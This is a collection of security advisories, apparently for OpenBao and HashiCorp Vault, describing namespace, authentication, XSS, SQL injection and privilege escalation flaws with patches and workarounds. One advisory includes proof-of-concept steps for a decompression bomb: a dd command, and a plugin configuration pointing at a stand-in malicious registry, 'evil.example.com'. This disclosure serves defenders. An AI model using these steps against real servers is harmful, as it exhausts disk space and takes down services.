Impact
When OpenBao's initial namespace deletion fails, subsequent retries fail to properly remove all data before marking the namespace as deleted. This can affect any outstanding leases as well as potentially leaving unrelated storage entries around.
Patches
This will be patched in OpenBao v2.5.3.
Workarounds
Users may manually remove mounts prior to deleting the namespace.
Audit logs may be used to identify repeated deletion attempts against the same namespace; sys/raw can be used to see what leases were not correctly deleted.
Impact
OpenBao's namespaces provide multi-tenant separation. A tenant who leaks token accessors can have their token revoked or renewed by a privileged administrator in another tenant.
Patches
This was addressed in v2.5.3.
Summary
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
Details
Root cause
helper/pluginutil/oci/downloader.go:301:
go if , copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit. The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
PoC
1. Set up a malicious OCI registry 2. Create a decompression bomb binary: bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary 3. Package it in a minimal OCI image 4. Push to the malicious registry 5. Configure victim OpenBao to use this registry: hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binaryname = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } pluginautodownload = true 6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS
Impact
- Denial of Service: Disk exhaustion on the OpenBao server - Cascading failure: Co-located services (databases, other apps) also fail when the disk is full - Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up - Repeated exploitation: On SIGHUP or restart with pluginautodownload = true, the bomb is re-downloaded
Remediation
1. Validate header.Size against a configurable maximum before opening the output file 2. Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy 3. Add a maxsize configuration field to PluginConfig for operator control (default: 1 GiB)
Background
OpenBao's Certificate authentication method, when a token renewal is requested and disablebinding=true is set, attempts to verify the current request's presented mTLS certificate matches the original. Token renewals for other authentication methods do not require any supplied login information.
Impact
Due to incorrect matching, the certificate authentication method would allow renewal of tokens for which the attacker had a sibling certificate+key signed by the same CA, but which did not necessarily match the original role or the originally supplied certificate. This implies an attacker could still authenticate to OpenBao in a similar scope, however, token renewal implies that an attacker may be able to extend the lifetime of dynamic leases held by the original token. This attack requires knowledge of either the original token or its accessor.
This vulnerability is originally from HashiCorp Vault.
Patches
This has been addressed in v2.5.3.
Workarounds
Ensure privileged roles are tightly scoped to single certificates.
Impact
When OpenBao revoked privileges on a role in the PostgreSQL database secrets engine, OpenBao failed to use proper database quoting on schema names provided by PostgreSQL. This could lead to role revocation failures, or more rarely, SQL injection as the management user.
This vulnerability was originally from HashiCorp Vault.
Patches
This was addressed in v2.5.3.
Workarounds
Audit table schemas and ensure database users cannot create new schemas and grant privileges on them.
OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao installations that have an OIDC/JWT authentication method enabled and a role with callbackmode=direct configured are vulnerable to XSS via the errordescription parameter on the page for a failed authentication. This allows an attacker access to the token used in the Web UI by a victim. The errordescription parameter has been replaced with a static error message in v2.5.2. The vulnerability can be mitigated by removing any roles with callbackmode set to direct.
OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with callbackmode set to direct. This allows an attacker to start an authentication request and perform "remote phishing" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the direct mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued. Version 2.5.2 includes an additional confirmation screen for direct type logins that requires manual user interaction in order to finish the authentication. This issue can be worked around either by removing any roles with callbackmode=direct or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao.
Impact
OpenBao installations that have an OIDC/JWT authentication method enabled and a role with callbackmode=direct configured are vulnerable to XSS via the errordescription parameter on the page for a failed authentication.
This allows an attacker access to the token used in the Web UI by a victim.
Patches The errordescription parameter has been replaced with a static error message in v2.5.2
Workarounds The vulnerability can be mitigated by removing any roles with callbackmode set to direct.
Impact
OpenBao does not prompt for user confirmation when logging in via JWT/OIDC and a role with callbackmode set to direct.
This allows an attacker to start an authentication request and perform "remote phishing" by having the victim visit the URL and automatically log-in to the session of the attacker. Despite being based on the authorization code flow, the direct mode calls back directly to the API and allows an attacker to poll for an OpenBao token until it is issued.
Patches Version 2.5.2 includes an additional confirmation screen for direct type logins that requires manual user interaction in order to finish the authentication.
Workarounds This issue can be worked around either by removing any roles with callbackmode=direct or enforcing confirmation for every session on the token issuer side for the Client ID used by OpenBao.
Impact
Similar to HCSEC-2025-13 / CVE-2025-5999, a privileged operator could use the identity group subsystem to add a root policy to a group identity group, escalating their or another user's permissions in the system. Specifically this is an issue when:
1. An operator in the root namespace has access to identity/groups endpoints. 2. An operator does not have policy access.
Otherwise, an operator with policy access could create or modify an existing policy to grant root-equivalent permissions through the sudo capability.
Patches
Patched in version 2.4.4.
Workarounds
Users should audit the use of identity subsystem and deny operators access if it is not in use.
Vault Community and Vault Enterprise Key/Value (kv) Version 2 plugin may unintentionally expose sensitive information in server and audit logs when users submit malformed payloads during secret creation or update operations via the Vault REST API. This vulnerability, identified as CVE-2025-4166, is fixed in Vault Community 1.19.3 and Vault Enterprise 1.19.3, 1.18.9, 1.17.16, 1.16.20.
A privileged Vault operator with write permissions to the root namespace’s identity endpoint could escalate their own or another user’s privileges to Vault’s root policy. Fixed in Vault Community Edition 1.18.0 and Vault Enterprise 1.18.0, 1.17.7, 1.16.11, and 1.15.16.